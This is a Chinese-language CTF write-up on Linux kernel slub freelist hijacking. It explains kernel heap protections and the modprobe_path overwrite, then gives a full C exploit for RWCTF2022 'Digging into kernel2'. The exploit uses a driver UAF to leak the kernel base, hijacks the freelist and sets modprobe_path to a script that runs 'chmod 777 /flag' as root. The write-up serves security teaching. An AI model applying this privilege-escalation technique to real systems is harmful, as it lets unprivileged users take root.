这个我熟,tcache poisoning
[toc]
Linux kernel之freelist劫持
0x00. 基础知识:slub分配器中的freelist
我们知道Linux kernel
中的内存管理结构包括buddy system
和slub allocator
。而slub allocator
也是由链表来进行管理的,包括正在使用的kmem_cache_cpu
和kmem_cache_node
。而释放掉的obj
和我们用户态差不多,同样由头插法插入叫做freelist
的链表。
该链表与tcache
和fastbin
的类似,遵循后进先出的形式(但需要注意的是obj
不含有用户态chunk
一样的header
),并同样有一个指针指向freelist
中下一个堆块。
因此,若我们打印该指针,可以得到freelist
中下一个obj
的地址;若我们劫持该指针指向任意位置,则可以将obj
分配到任意位置,和用户态中的tcache
十分类似。
注意,此处描述的是不开启堆保护机制的情况。
0x01. 基础知识:kernel中的堆保护
Hardened freelist
我们知道glibc
高版本中的tcache
的next
指针是有加密的,方法是将堆地址右移十二位再异或next
指针。
在开启了Hardened freelist
保护的内核中,freelist
上的指针就和高版本的glibc
类似。
freelist
上的指针将由以下三个部分异或组成:
- 当前
free obj
的地址
- 下一个
free obj
的地址
- 由
kmem_cache
指定的random
值
如你所见,在开启了这个保护的情况下,攻击者至少需要得知当前free obj
的地址和random
值才可以劫持freelist
…
Random freelist
在用户态下,分配chunk
的过程是不断切割top chunk
的过程,因此分配出的chunk
都是在连续内存空间内的。
在开启了random freelist
的kernel
下,每个freelist
中的obj
不再位于连续的空间——而是在一个slub allocator
中随机分布。如下所示:(图来自于arttnba3
师傅)
而这种保护实际上发生于slub allocator
刚从buddy system
拿到新slub
的时候。由此,在之后,freelist
仍然保持后进先出,这并不会给我们劫持freelist
的fd
造成实质影响。
CONFIG_INIT_ON_ALLOC_DEFAULT_ON
很简单,开启该保护的时候,kernel
的buddy system
和slab allocator
均会将分配出的obj
上的内容清空,也就是防止未初始化的内存泄露~
Hardened Usercopy
简单来说就是会检测用户空间和内核空间相互进行数据拷贝的时候是否溢出,包括copy_from_user
和copy_to_user
等函数。
这种保护不适用于内核空间相互数据拷贝,因此可以从这个角度进行绕过~
0x02. 基础知识:modprobe_path
什么是modprobe_path
在Linux
下,若我们执行一个非法文件(即file magic not found
)时,内核会经历如下的调用链:
1 2 3 4 5 6 7 8 9
| entry_SYSCALL_64() sys_execve() do_execve() do_execveat_common() bprm_execve() exec_binprm() search_binary_handler() __request_module() call_modprobe()
|
最终执行的是call_modprobe()
,而call_modprobe
如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| static int call_modprobe(char *module_name, int wait) { argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL); if (!info) goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
|
可以看到,其会以root
权限来执行modprobe_path
中的内容。
而modprobe_path
中本身的内容是/sbin/modprobe
。若我们能够将其劫持为一个恶意脚本路径(例如,里面写了chmod 777 /flag
),则可以以root
权限来执行这个恶意脚本。
显然,我们可以用freelist
来劫持modprobe_path
。
kernel pwn中如何找到modprobe_path的地址
我们无法通过cat /proc/kallsyms
来找到modprobe_path
的地址。幸运的是,在__request_module
中,存在一个对modprobe_path
的引用。由此,我们可以从/proc/kallsyms
中找到__request_module
函数的地址,并使用gdb
连接到kernel
,查看该函数附近的汇编代码,即可找到modprobe_path
的地址~
具体如下:
首先我们找到__request_module
函数的地址:
随后,我们让gdb
连接到该kernel
,设置target remote:1234
即可,通过x/40i
来查看刚刚获得的函数地址附近的代码:
如上所示,箭头所指的地方就是modprobe_path
的地址的引用。
通过如上方式,我们就可以获得modprobe_path
的地址。
0x03. 初探freelist劫持:以RWCTF2022体验赛: Digging into kernel2为例
题目信息
题目启动脚本如下:
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \ -cpu kvm64,+smep,+smap \ -monitor null \ --nographic \ -s
|
可以看到:
- 开启了
smep
、smap
保护,这意味着内核无法执行或者访问用户态的代码和数据;
- 开启了
kaslr
保护,这意味着内核基地址随机;
- 没有设置
oops=panic panic=1
,我们将其加上可以使得内核崩溃后退出。
题目rcS
启动脚本(/etc/init.d/rcS
)如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #!/bin/sh
chown -R 0:0 /
mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev
echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
insmod /xkmod.ko chmod 644 /dev/xkmod
chmod 600 /flag chmod 600 /etc/init.d/rcS
mkdir home && cd home chown -R 1000:1000 .
echo "-------------------------------------------" echo "| |" echo "| |~~\| | | /~~~~|~~|~~ /~\ /~~\/~\/| |" echo "| |__/| | || | |-- ,/| |,/ | |" echo "| |__/| | || | |-- ,/| |,/ | |" echo "| | \ \/ \/ \__ | | /__ \__//___|_ |" echo "| |" echo "-------------------------------------------"
poweroff -d 120 -f & setsid cttyhack setuidgid 1000 sh # setsid cttyhack setuidgid 0 sh
poweroff -d 0 -f
|
可以看到:
- 设置
dmesg_restrict
为1
,这意味着普通用户不再能够通过dmesg
查看printk
输出
- 设置
kptr_restrict
为1
,这意味着普通用户无法直接查看/proc/kallsyms
获取函数地址
- 没有挂载
pts
,这意味着我们无法打开/dev/ptmx
来打开tty_struct
结构体
题目驱动的file_operations
定义了init
、release
和ioctl
,分别如下:
可以看到,其创建了一个属于kmalloc-192
的kmem_cache
,名为lalala
;
ioctl
中有分配、编辑、查看堆块功能:
可以看到,分配的obj
保存在全局变量buf
中。
而release
中,可以释放obj
,存在UAF
:
解题思路概览
这道题首先和ciscn-2017-babydriver
类似:分配的obj
由全局变量buf
表示,这意味着我们可以通过打开多个题目驱动,来使得多个fd
都指向这个全局变量。由于UAF
的存在,我们可以关闭一个fd
,而让其它的fd
来编辑这个已经释放的堆块。
题目给定的kmem_cache
为kmalloc-192
,但没有任何分配flag
:这就让我们的利用方式多样。而考虑到这里kmalloc-192
不属于我们之前学到的seq_file
和pipe
的大小,而且本题也无法打开tty_struct
,我们需要考虑使用别的方式来解出本题。
回到本题,本题给出了一个白给的UAF
,并且含有编辑功能。在我们用户态下,我们便可以直接利用这点来打__free_hook
:
这在内核中也类似,我们可以通过劫持freelist
来实现任意地址写。
由此,我们先查看已经释放的obj
的指针,观察其是否开启了Hardened freelist
保护和Random freelist
保护。经过测试,本题开启了random freelist
,而没有开启hardened freelist
。因此我们可以便捷地劫持freelist
指针。
劫持到哪里呢?其实已经呼之欲出,将其指向modprobe_path
,修改其内容为恶意脚本,即可修改modprobe_path
来完成攻击~
解题思路重点 - 通过堆泄露内核基地址
在劫持freelist
指向modprobe_path
之前,我们需要思考如何泄露内核基地址。
师傅需要知道如下堆上的特性:
在堆地址+ 0x9d000
处,存在一个地址:secondary_startup_64
。因此,我们可以将freelist
申请到这块obj
,并泄露其中的内容,获取secondary_startup_64
的地址,从而泄露内核基地址。
但由于Random freelist
的存在,我们UAF
的obj
的地址是非常随机的,由此我们将其& 0xfffffffff0000000
,猜测出其堆块基地址,若未命中,需要重新运行exp
。
解题思路重点 - freelist合法性
在本题中,还需要注意保持freelist
的合法性。
在用户态中,若我们让某条tcache
链指向非法地址,则再次从该链中申请chunk
时就会报错。
内核中也是如此,我们不能让freelist
指向一个非法地址,即使是不再从里面申请也不行——因为很可能别的函数也会申请内存空间。因此,我们需要让freelist
指针指向0
。例如,在劫持modprobe_path
的时候,我们可以指向其地址-0x10
处:如此便可以让freelist
中挂入的地址为0
。
解题脚本
详细注释的exp
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdarg.h> #include "ltfallkernel.h"
#define SECONDARY_STARTUP_64 0Xffffffff81000030 #define MODPROBE_PATH 0xffffffff82444700
#define ROOT_SCRIPT_PATH "/home/shell.sh"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag\n";
typedef struct { size_t *content; unsigned int offset; unsigned int size; } book;
void note_read(int fd, book *b) {
ioctl(fd, 0x6666666, b); }
void note_write(int fd, book *b) { ioctl(fd, 0x7777777, b); }
void note_add(int fd, book *b) { ioctl(fd, 0x1111111, b); }
int main() { int dev_fd[5]; int root_script_fd; size_t kernel_heap_leak; size_t page_offset_base; char flag[0x50]; int flag_fd;
bind_core(0); save_status();
info("Starting to exploit...");
for (int i = 0; i < 5; i++) { dev_fd[i] = open("/dev/xkmod", O_RDONLY); if (dev_fd[i] == -1) { err_exit("Failed to open /dev/xkmod."); } }
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT, 777); if (root_script_fd == -1) { err_exit("Failed to create root_script."); } write(root_script_fd, root_cmd, sizeof(root_cmd)); close(root_script_fd); system("chmod +x " ROOT_SCRIPT_PATH); success("Finished writing root_script to " ROOT_SCRIPT_PATH);
book data; data.content = malloc(0x1000); data.offset = 0; data.size = 0x50;
note_add(dev_fd[0], &data); note_read(dev_fd[0], &data); close(dev_fd[0]);
note_write(dev_fd[1], &data); kernel_heap_leak = data.content[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
info("kernel_heap_leak is 0x%llx.", kernel_heap_leak); info("Guessing page_offet_base: 0x%llx.", page_offset_base);
info("Since, try to alloc fake chunk at page_offset_base + 0x9d000 - 0x10 to leak kernel base...");
data.content[0] = page_offset_base + 0x9d000 - 0x10; data.offset = 0; data.size = 8;
note_read(dev_fd[1], &data); note_add(dev_fd[1], &data); note_add(dev_fd[1], &data);
data.size = 0x40; note_write(dev_fd[1], &data); if ((data.content[2] & 0xfff) != (SECONDARY_STARTUP_64 & 0xfff)) { error("Invalid data leak: 0x%llx.", data.content[2]); err_exit("Failed to HIT page_offset_base, try again!"); }
kernel_offset = data.content[2] - SECONDARY_STARTUP_64; kernel_base += kernel_offset;
success("Kernel Offset: 0x%llx.", kernel_offset); success("Kernel Base: 0x%llx.", kernel_base);
info("Making UAF again and hijacking modprobe_path...");
note_add(dev_fd[1], &data); close(dev_fd[1]);
data.content[0] = kernel_offset + MODPROBE_PATH - 0x10; data.offset = 0; data.size = 0x8;
info("Hijacking freelist..."); note_read(dev_fd[2], &data); note_add(dev_fd[2], &data); note_add(dev_fd[2], &data);
strcpy(&data.content[2], ROOT_SCRIPT_PATH); data.size = 0x30; note_read(dev_fd[2], &data);
info("Triggering fake modprobe_path..."); system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake"); system("chmod +x /home/fake"); system("/home/fake");
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR); if (flag_fd < 0) { err_exit("Failed to chmod for flag!"); }
read(flag_fd, flag, sizeof(flag)); success("Got flag: %s.", flag);
return 0; }
|